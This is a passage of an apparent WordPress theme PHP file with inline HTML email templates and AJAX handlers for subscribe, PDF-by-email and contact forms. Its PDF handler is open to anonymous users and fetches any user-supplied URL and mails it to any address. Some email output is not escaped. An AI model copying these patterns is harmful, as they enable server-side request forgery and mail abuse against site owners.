                    max-width: 100% !important;
                    direction: ltr !important;
                }
                /* And center justify these ones. */
                .stack-column-center {
                    text-align: center !important;
                }
    
                /* What it does: Generic utility class for centering. Useful for images, buttons, and nested tables. */
                .center-on-narrow {
                    text-align: center !important;
                    display: block !important;
                    margin-left: auto !important;
                    margin-right: auto !important;
                    float: none !important;
                }
                table.center-on-narrow {
                    display: inline-block !important;
                }
    
                /* What it does: Adjust typography on small screens to improve readability */
            }
    
        </style>
        <!-- Progressive Enhancements : END -->
    
    
        <!-- MSO dark mode fix :  use the class name for texts to remain in white -->
        <!--[if mso ]>
        <style>
            a{
                line-height: normal !important;
                text-decoration: none !important;
            }
            .ms-whiteX {
                mso-style-textfill-type:gradient;
                mso-style-textfill-fill-gradientfill-stoplist:'0 \#FFFFFF 0 100000\,100000 \#FFFFFF 0 100000';
            }
        </style>
        <![endif]-->
    
    </head>
    <!--
        The email background color (#ECF3FE) is defined in three places:
        1. body tag: for most email clients
        2. center tag: for Gmail and Inbox mobile apps and web versions of Gmail, GSuite, Inbox, Yahoo, AOL, Libero, Comcast, freenet, Mail.ru, Orange.fr
        3. mso conditional: For Windows 10 Mail
    -->
    <body width='100%' style='margin: 0; padding: 0 !important; mso-line-height-rule: exactly; background-color: #fff;'>
      <center role='article' aria-roledescription='email' lang='en' style='width: 100%; background-color: #fff;'>
        <!--[if mso | IE]>
        <table role='presentation' border='0' cellpadding='0' cellspacing='0' width='100%' style='background-color: #ECF3FE;'>
        <tr>
        <td>
        <![endif]-->
    
            <!-- Create white space after the desired preview text so email clients don’t pull other distracting text into the inbox preview. Extend as necessary. -->
            <!-- Preview Text Spacing Hack : BEGIN -->
            <div style='display: none; font-size: 1px; line-height: 1px; max-height: 0px; max-width: 0px; opacity: 0; overflow: hidden; mso-hide: all; font-family: 'Prompt',  sans-serif;'>
                &zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;
            </div>
            <!-- Preview Text Spacing Hack : END -->
    
            <!--
                Set the email width. Defined in two places:
                1. max-width for all clients except Desktop Windows Outlook, allowing the email to squish on narrow but never go wider than 680px.
                2. MSO tags for Desktop Windows Outlook enforce a 680px width.
                Note: The Fluid and Responsive templates have a different width (600px). The hybrid grid is more 'fragile', and I've found that 680px is a good width. Change with caution.
            -->
            <div style='background-color: #014cb2; max-width: 800px; margin: 0 auto;font-family: 'Poppins', sans-serif; padding: 15px;' class='email-container'>
                <!--[if mso]>
                <table align='center' role='presentation' cellspacing='0' cellpadding='0' border='0' width='800'>
                <tr>
                <td>
                <![endif]-->
    
                <!-- Email Body : BEGIN -->
                <table role='presentation' cellspacing='0' cellpadding='0' border='0' bgcolor='' style='width: 780px; margin: 0px auto 0 !important; font-family: 'Poppins', sans-serif; max-width: 100%;'>
                    <tr>
                        <td>
                            <table role='presentation' cellspacing='0' cellpadding='0' border='0' bgcolor='' width='100%' style='margin: auto !important; '>
                                
                                
                                 <!-- Clear Spacer : BEGIN -->
                                 <!-- <tr>
                                    <td aria-hidden='true' height='10' style='font-size: 0px; line-height: 0px;'>
                                        &nbsp;
                                    </td>
                                </tr> -->
                                <!-- Clear Spacer : END -->
    
                                <tr>
                                    <td class='inner-td' style='background: #fff; padding: 40px; border-top: solid 5px #25B0F0; margin-bottom: 20px;'>
    
                                            <div style='padding: 0px 0px 10px; text-align: center; border-bottom:1px solid #ededed; padding: 0px 0px 10px; margin-bottom: 20px;'>
                                                <img src='https://curated.spericorn.com/wp-content/themes/curated/img/email-logo.png' width='' height='56' alt='alt_text' border='0' >
                                            </div>
    
                                        <h4 style='font-family: 'Poppins', sans-serif; color: #292D32; font-size: 20px; font-weight: 600; margin: 0; margin-bottom: 15px;'>Hi ".$name.",</h4>
                                        <div style='display:block; text-align: center; padding-top: 15px;'>
                                            <img src='https://curated.spericorn.com/wp-content/themes/curated/img/contact.png' alt=''>
                                        </div>
                                        <p style='font-family: 'Poppins', sans-serif; color: #697F9B; font-size: 14px; margin-top: 30px; margin-bottom: 30px;'>We wanted to inform you that a user has recently made a message on your platform.</p>
                                        <div style='display:block; box-sizing: border-box; width: 100%;'>
                                            <div class='name-block' style='margin-bottom: 20px; display:block; width: 100%; box-sizing: border-box;'>
                                                <p style='font-family: 'Poppins', sans-serif; color: #292D32; color: #697F9B; font-size: 13px; margin: 0;'>
                                                    <span style='font-weight: 500;'>Name</span>:". $name."
                                                </p>
                                            </div>
                                            <div class='name-block' style='margin-bottom: 20px; display:block; width: 100%; box-sizing: border-box;'>
                                                <p style='font-family: 'Poppins', sans-serif; color: #697F9B; font-size: 13px; margin: 0;'>
                                                    <span style='font-weight: 500;'>Email</span>: ".$email."
                                                </p>
                                            </div>
                                           
                                            <div style='display:inline-block; box-sizing: border-box;'>
                                                <p style='font-family: 'Poppins', sans-serif; color: #697F9B; font-size: 13px; margin: 0 0 10px;'>
                                                    <span style='font-weight: 500;'>Message</span>
                                                </p>
                                                <p style='font-family: 'Poppins', sans-serif; color: #697F9B; font-size: 13px; margin: 0 0 15px;'>
                                                   ".$msg."
                                                </p>
                                                
                                                <p style='margin-top: 30px; margin-bottom: 5px; font-family: 'Poppins', sans-serif; color: #292D32; font-size: 12px;'>Thank you</p>
                                                <h4 style='font-size: 12px; margin-top: 0; color: #292D32; font-weight: 700;'>Team Curated</h4>
                                            </div>
                                        </div>
                                                                            
                                    </td>
                                </tr>
    
                                 <!-- Clear Spacer : BEGIN -->
                                 
                                <!-- Clear Spacer : END -->
                            </table>
                        </td>
                    </tr>
                </table>
                
                <!-- Email Body : END -->
    
                <!-- Email Social Media : BEGIN  -->
    
    
                <tr>
                    <td>
                        <!-- <table role='presentation' cellspacing='0' cellpadding='0' border='0' bgcolor='' width='100%'>
                            <tr>
                                <td style='text-align: center; padding: 15px;'>
                                    <p style='font-family: 'Poppins', sans-serif; text-align: center; margin: 0;'>
                                        <a href='#' style='display: inline-block; margin: 0 2px;'><img src='https://curated.spericorn.com/wp-content/themes/curated/img/upwrk.png' alt='Up work'></a>
                                        <a href='#' style='display: inline-block; margin: 0 2px;'><img src='https://curated.spericorn.com/wp-content/themes/curated/img/linkd.png' alt='Linked in'></a>
                                    </p>
                                </td>
                            </tr>
                        </table> -->
    
                    </td>
                </tr>
    
                <!--[if mso]>
                </td>
                </tr>
                </table>
                <![endif]-->
            </div>
    
            <!-- Full Bleed Background Section : BEGIN -->
    
    
            <!-- Full Bleed Background Section : END -->
    
        <!--[if mso | IE]>
        </td>
        </tr>
        </table>
        <![endif]-->
        </center>
    </body>
    </html>";
    $msg = 'Name: ' . $name . "\n" . 'Email: ' . $email;

    $headers = array(
        'Content-Type: text/html; charset=utf-8'
    );
        wp_mail($admin_email, $subject, $msg);

        wp_mail($email, $subject, $message);
        
        // Respond with success message
        wp_send_json_success(array('message' => 'Thank you for subscribing!'));
    } else {
        wp_send_json_error(array('message' => 'Invalid email address.'));
    }

    wp_die();
}


function send_pdf_email_with_attachment() {
    // if (!isset($_POST['pdf_url']) || empty($_POST['pdf_url'])) {
    //     wp_send_json_error(['message' => 'PDF URL is missing.']);
    // }

    // $pdf_url = sanitize_text_field($_POST['pdf_url']);
    // $admin_email = get_option('admin_email'); 

    // $upload_dir = wp_upload_dir();
    // $pdf_path = $upload_dir['path'] . '/' . basename($pdf_url);

    // // Download the file
    // $file_contents = file_get_contents($pdf_url);
    // file_put_contents($pdf_path, $file_contents);

    // // Email with attachment
    // $subject = "PDF Request with Attachment";
    // $message = "The user has requested the attached PDF.";
    // $headers = [];
    // $attachments = [$pdf_path];

    // $sent = wp_mail($admin_email, $subject, $message, $headers, $attachments);

    // // Clean up temporary file
    // unlink($pdf_path);

    // if ($sent) {
    //     wp_send_json_success(['message' => 'Email sent with attachment.']);
    // } else {
    //     wp_send_json_error(['message' => 'Failed to send the email.']);
    // }

    // wp_die();

      // Get email and PDF URL from AJAX request
      $email = sanitize_email($_POST['email']);
      $pdf_url = esc_url($_POST['pdf_url']);
    //   $admin_email = get_option('admin_email'); 
  
      // Prepare email
      $subject = 'Here is your PDF document';
      $message = 'Please find your requested PDF document attached.';
      $headers = ['Content-Type: text/html; charset=UTF-8'];
  
      // Download PDF to temporary file
      $temp_file = download_url($pdf_url);
      
      // Check if the download was successful
      if (is_wp_error($temp_file)) {
          wp_send_json_error(['message' => 'No document available for download.']);
          wp_die();
      }
  
      // Ensure the file is saved as .pdf
      $temp_file_path = $temp_file . '.pdf';
  
      // Rename the temporary file to include the .pdf extension (if necessary)
      if (!rename($temp_file, $temp_file_path)) {
          wp_send_json_error(['message' => 'Failed to rename PDF file']);
          wp_die();
      }
  
      // Attach PDF and send email
      $attachments = [$temp_file_path];
      $mail_sent = wp_mail($email, $subject, $message, $headers, $attachments);
  
      // Clean up temporary file
      @unlink($temp_file_path);
  
      if ($mail_sent) {
          wp_send_json_success(['message' => 'Email sent successfully']);
      } else {
          wp_send_json_error(['message' => 'Failed to send email']);
      }
  
      wp_die();
}
add_action('wp_ajax_send_pdf_email', 'send_pdf_email_with_attachment');
add_action('wp_ajax_nopriv_send_pdf_email', 'send_pdf_email_with_attachment');


function handle_contact_form_submission() {
    if (!isset($_POST['fname'], $_POST['lname'], $_POST['pnum'], $_POST['mailid'], $_POST['msg'])) {
        echo "<p style='color:red;'>All fields are required!</p>";
        wp_die();
    }

    $fname  = sanitize_text_field($_POST['fname']);
    $lname  = sanitize_text_field($_POST['lname']);
    $name   =   $fname.' '.$lname;
    $phone   = sanitize_text_field($_POST['pnum']);
    $email = sanitize_email($_POST['mailid']);
    $message    = sanitize_textarea_field($_POST['msg']);


    // Send Email
    $to      = get_option('admin_email'); // Admin Email
    $subject = "New Contact Form Submission";
    $message = "<!DOCTYPE html>
<html lang='en' xmlns='http://www.w3.org/1999/xhtml' xmlns:v='urn:schemas-microsoft-com:vml' xmlns:o='urn:schemas-microsoft-com:office:office'>
<head>
    <meta charset='utf-8'> <!-- utf-8 works for most cases -->
    <meta name='viewport' content='width=device-width'> <!-- Forcing initial-scale shouldn't be necessary -->
    <meta http-equiv='X-UA-Compatible' content='IE=edge'> <!-- Use the latest (edge) version of IE rendering engine -->
    <meta name='x-apple-disable-message-reformatting'>  <!-- Disable auto-scale in iOS 10 Mail entirely -->
    <meta name='format-detection' content='telephone=no,address=no,email=no,date=no,url=no'> <!-- Tell iOS not to automatically link certain text strings. -->
    <meta name='color-scheme' content='light'>
    <meta name='supported-color-schemes' content='light'>
    <title>Welcome</title> <!-- The title tag shows in email notifications, like Android 4.4. -->

    <!-- What it does: Makes background images in 72ppi Outlook render at correct size. -->
    <!--[if gte mso 9]>
    <xml>
        <o:OfficeDocumentSettings>
            <o:AllowPNG/>
            <o:PixelsPerInch>96</o:PixelsPerInch>
        </o:OfficeDocumentSettings>
    </xml>
    <![endif]-->

    <!-- Web Font / @font-face : BEGIN -->
    <link href='https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap' rel='stylesheet'>
    <!-- All other clients get the webfont reference; some will render the font and others will silently fail to the fallbacks. More on that here: http://stylecampaign.com/blog/2015/02/webfont-support-in-email/ -->
    <!--[if !mso]>
        <link href='https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap' rel='stylesheet'>
    <![endif]-->

    <!-- Desktop Outlook chokes on web font references and defaults to Times New Roman, so we force a safe fallback font. -->
    <!--[if mso]>
        <style>
            *, body,div,p,a ,h1,h2,h3,h4,h5,h6, table, td, th {
                font-family: 'Poppins', sans-serif;
            }
        </style>
    <![endif]-->

    <!-- Web Font / @font-face : END -->

    <!-- CSS Reset : BEGIN -->
    <style>

        :root {
          color-scheme: light;
          supported-color-schemes: light;
        }
      html,
        body {
            margin: 0 auto !important;
            padding: 0 !important;
            height: 100% !important;
            width: 100% !important;
        }

        * {
            -ms-text-size-adjust: 100%;
            -webkit-text-size-adjust: 100%;
        }

        /* What it does: Centers email on Android 4.4 */
        div[style*='margin: 16px 0'] {
            margin: 0 !important;
        }
        /* What it does: forces Samsung Android mail clients to use the entire viewport */
        #MessageViewBody, #MessageWebViewDiv{
            width: 100% !important;
        }

        /* What it does: Stops Outlook from adding extra spacing to tables. */
        table,
        td {
            mso-table-lspace: 0pt !important;
            mso-table-rspace: 0pt !important;
        }

        /* What it does: Fixes webkit padding issue. */
        table {
            border-spacing: 0 !important;
            border-collapse: collapse !important;
            table-layout: fixed !important;
            margin: 0 auto !important;
        }

        /* What it does: Uses a better rendering method when resizing images in IE. */
        img {
            -ms-interpolation-mode:bicubic;
        }

        /* What it does: Prevents Windows 10 Mail from underlining links despite inline CSS. Styles for underlined links should be inline. */
        a {
            text-decoration: none;
        }

        /* What it does: A work-around for email clients meddling in triggered links. */
        a[x-apple-data-detectors],  /* iOS */
        .unstyle-auto-detected-links a,
        .aBn {
            border-bottom: 0 !important;
            cursor: default !important;
            color: inherit !important;
            text-decoration: none !important;
            font-size: inherit !important;
            font-family: inherit !important;
            font-weight: inherit !important;
            line-height: inherit !important;
        }

        /* What it does: Prevents Gmail from changing the text color in conversation threads. */
        .im {
            color: inherit !important;
        }

        /* What it does: Prevents Gmail from displaying a download button on large, non-linked images. */
        .a6S {
            display: none !important;
            opacity: 0.01 !important;
        }
        /* If the above doesn't work, add a .g-img class to any image in question. */
        img.g-img + div {
            display: none !important;
        }

        /* What it does: Removes right gutter in Gmail iOS app: https://github.com/TedGoas/Cerberus/issues/89  */
        /* Create one of these media queries for each additional viewport size you'd like to fix */

        /* iPhone 4, 4S, 5, 5S, 5C, and 5SE */
        @media only screen and (min-device-width: 320px) and (max-device-width: 374px) {
            u ~ div .email-container {
                min-width: 320px !important;
            }
        }
        /* iPhone 6, 6S, 7, 8, and X */
        @media only screen and (min-device-width: 375px) and (max-device-width: 413px) {
            u ~ div .email-container {
                min-width: 375px !important;
            }
        }
        /* iPhone 6+, 7+, and 8+ */
        @media only screen and (min-device-width: 414px) {
            u ~ div .email-container {
                min-width: 414px !important;
            }
        }

    </style>
    <!-- CSS Reset : END -->

    <!-- Progressive Enhancements : BEGIN -->
    <style>
        @media screen and (max-width: 579px) {
            .name-block{
                width: 100% !important;
                margin-left: 0 !important;
            }
            .inner-td{
                padding: 20px !important;
            }
        }
        

	    /* Media Queries */
	    @media screen and (max-width: 480px) {
	        /* What it does: Forces table cells into full-width rows. */
	        .stack-column,
	        .stack-column-center {
	            display: block !important;
	            width: 100% !important;
	            max-width: 100% !important;
	            direction: ltr !important;
	        }
	        /* And center justify these ones. */
	        .stack-column-center {
	            text-align: center !important;
	        }

	        /* What it does: Generic utility class for centering. Useful for images, buttons, and nested tables. */
	        .center-on-narrow {
	            text-align: center !important;
	            display: block !important;
	            margin-left: auto !important;
	            margin-right: auto !important;
	            float: none !important;
	        }
	        table.center-on-narrow {
	            display: inline-block !important;
	        }

	        /* What it does: Adjust typography on small screens to improve readability */
	    }

    </style>
    <!-- Progressive Enhancements : END -->


    <!-- MSO dark mode fix :  use the class name for texts to remain in white -->
    <!--[if mso ]>
    <style>
        a{
            line-height: normal !important;
            text-decoration: none !important;
        }
        .ms-whiteX {
            mso-style-textfill-type:gradient;
            mso-style-textfill-fill-gradientfill-stoplist:'0 \#FFFFFF 0 100000\,100000 \#FFFFFF 0 100000';
        }
    </style>
    <![endif]-->

</head>
<!--
	The email background color (#ECF3FE) is defined in three places:
	1. body tag: for most email clients
	2. center tag: for Gmail and Inbox mobile apps and web versions of Gmail, GSuite, Inbox, Yahoo, AOL, Libero, Comcast, freenet, Mail.ru, Orange.fr
	3. mso conditional: For Windows 10 Mail
-->
<body width='100%' style='margin: 0; padding: 0 !important; mso-line-height-rule: exactly; background-color: #fff;'>
  <center role='article' aria-roledescription='email' lang='en' style='width: 100%; background-color: #fff;'>
    <!--[if mso | IE]>
    <table role='presentation' border='0' cellpadding='0' cellspacing='0' width='100%' style='background-color: #ECF3FE;'>
    <tr>
    <td>
    <![endif]-->

        <!-- Create white space after the desired preview text so email clients don’t pull other distracting text into the inbox preview. Extend as necessary. -->
        <!-- Preview Text Spacing Hack : BEGIN -->
        <div style='display: none; font-size: 1px; line-height: 1px; max-height: 0px; max-width: 0px; opacity: 0; overflow: hidden; mso-hide: all; font-family: 'Arial';'>
	        &zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;&zwnj;&nbsp;
        </div>
        <!-- Preview Text Spacing Hack : END -->

        <!--
            Set the email width. Defined in two places:
            1. max-width for all clients except Desktop Windows Outlook, allowing the email to squish on narrow but never go wider than 680px.
            2. MSO tags for Desktop Windows Outlook enforce a 680px width.
            Note: The Fluid and Responsive templates have a different width (600px). The hybrid grid is more 'fragile', and I've found that 680px is a good width. Change with caution.
        -->
        <div style=' max-width: 800px; margin: 0 auto;font-family: 'Arial', sans-serif;padding: 15px 0;' class='email-container'>
            <!--[if mso]>
            <table align='center' role='presentation' cellspacing='0' cellpadding='0' border='0' width='800'>
            <tr>
            <td>
            <![endif]-->

	        <!-- Email Body : BEGIN -->
            <table role='presentation' cellspacing='0' cellpadding='0' border='0' bgcolor='' style='width: 700px; margin: 0px auto 0 !important; font-family: 'Arial', sans-serif ;max-width: 100%; border: solid 1px #ccc;'>
                <tr>
                    <td>
                        <table role='presentation' cellspacing='0' cellpadding='0' border='0' bgcolor='' width='100%' style='margin: auto !important; '>
                            
                            
                             <!-- Clear Spacer : BEGIN -->
                             <!-- <tr>
                                <td aria-hidden='true' height='10' style='font-size: 0px; line-height: 0px;'>
                                    &nbsp;
                                </td>
                            </tr> -->
                            <!-- Clear Spacer : END -->

                            <tr>
                                <td>
                                    <div style='background-color: #022F75; text-align: center; padding: 15px 0 10px; margin-bottom: 0;'>
                                        <img src='https://kedusha.spericorn.com/wp-content/themes/kedushas/img/logo.png' width='' height='56' alt='alt_text' border='0' >
                                    </div>
                                </td>
                            </tr>
                            <tr>
                                <td class='inner-td' style='background: #fff; padding: 20px; padding-top: 5px;  margin-bottom: 20px;'>
                                    <div style='box-sizing: border-box; background-color: #fff; width: 100%;  padding: 20px;'>

                                        <h4 style='font-family: 'Arial', sans-serif; color:#292D32; font-size: 20px; font-weight: 600; margin: 0; margin-bottom: 15px;'>Hi ". $name.",</h4>
                                        <div style='display:block; text-align: center; padding-top: 15px;'>
                                            <img style='width: 200px;' src='https://kedusha.spericorn.com/wp-content/themes/kedushas/img/contact.png' alt=''>
                                        </div>
                                        <p style='font-family: 'Arial', sans-serif; color:#697F9B; font-size: 14px; margin-top: 30px; margin-bottom: 30px;'>We wanted to inform you that a user has recently made a message on your platform.</p>
                                        <div style='display:block; box-sizing: border-box; width: 100%;'>
                                            <div class='name-block' style='margin-bottom: 20px; display:block; width: 100%; box-sizing: border-box;'>
                                                <p style='font-family: 'Arial', sans-serif; color:#697F9B; font-size: 13px; margin: 0;'>
                                                    <span style='font-weight: 500;'>Name</span>: ". $name."
                                                </p>
                                            </div>
                                            <div class='name-block' style='margin-bottom: 20px; display:block; width: 100%; box-sizing: border-box;'>
                                                <p style='font-family: 'Arial', sans-serif; color:#697F9B; font-size: 13px; margin: 0;'>
                                                    <span style='font-weight: 500;'>Email</span>: ". $email."
                                                </p>
                                            </div>
                                            <div class='name-block' style='margin-bottom: 20px; display:block; width: 100%; box-sizing: border-box;'>
                                                <p style='font-family: 'Arial', sans-serif; color:#697F9B; font-size: 13px; margin: 0;'>
                                                    <span style='font-weight: 500;'>Phone</span>: ". $phone."
                                                </p>
                                            </div>
                                            <div style='display:inline-block; box-sizing: border-box;'>
                                                <p style='font-family: 'Arial', sans-serif; color:#697F9B; font-size: 13px; margin: 0 0 10px;'>
                                                    <span style='font-weight: 500;'>Message</span>
                                                </p>
                                                <p style='font-family: 'Arial', sans-serif; color:#697F9B; font-size: 13px; margin: 0 0 15px;'>
                                                    ". $message."
                                                </p>
                                               
                                                <p style='margin-top: 30px; margin-bottom: 5px; font-family: 'Arial', sans-serif; color:#292D32; font-size: 12px;'>Thank you</p>
                                                <h4 style='font-size: 12px; margin-top: 0; color:#292D32; font-weight: 700;'>Team Kedushas</h4>
                                            </div>
                                        </div>
                                    </div>


                                                                        
                                </td>
                            </tr>

                             <!-- Clear Spacer : BEGIN -->
                             
                            <!-- Clear Spacer : END -->
                        </table>
                    </td>
                </tr>
            </table>
            
            <!-- Email Body : END -->

            <!-- Email Social Media : BEGIN  -->


            <tr>
                <td>
                    <!-- <table role='presentation' cellspacing='0' cellpadding='0' border='0' bgcolor='' width='100%'>
                        <tr>
                            <td style='text-align: center; padding: 15px;'>
                                <p style='font-family: 'Arial', sans-serif ;text-align: center; margin: 0;'>
                                    <a href='#' style='display: inline-block; margin: 0 2px;'><img src='img/upwrk.png' alt='Up work'></a>
                                    <a href='#' style='display: inline-block; margin: 0 2px;'><img src='img/linkd.png' alt='Linked in'></a>
                                </p>
                            </td>
                        </tr>
                    </table> -->

                </td>
            </tr>

            <!--[if mso]>
            </td>
            </tr>
            </table>
            <![endif]-->
        </div>

        <!-- Full Bleed Background Section : BEGIN -->


        <!-- Full Bleed Background Section : END -->

    <!--[if mso | IE]>
    </td>
    </tr>
    </table>
    <![endif]-->
    </center>
</body>
</html>";
$headers = array(
    'Content-Type: text/html; charset=utf-8'
);

    if (wp_mail($email, $subject, $message, $headers)) {
        echo "<p style='color:green;'>Thank you! Your message has been sent.</p>";
    } else {
        echo "<p style='color:red;'>Error sending email.</p>";
    }

    wp_die(); // Required to terminate properly
}
add_action('wp_ajax_submit_contact_form', 'handle_contact_form_submission');
add_action('wp_ajax_nopriv_submit_contact_form', 'handle_contact_form_submission');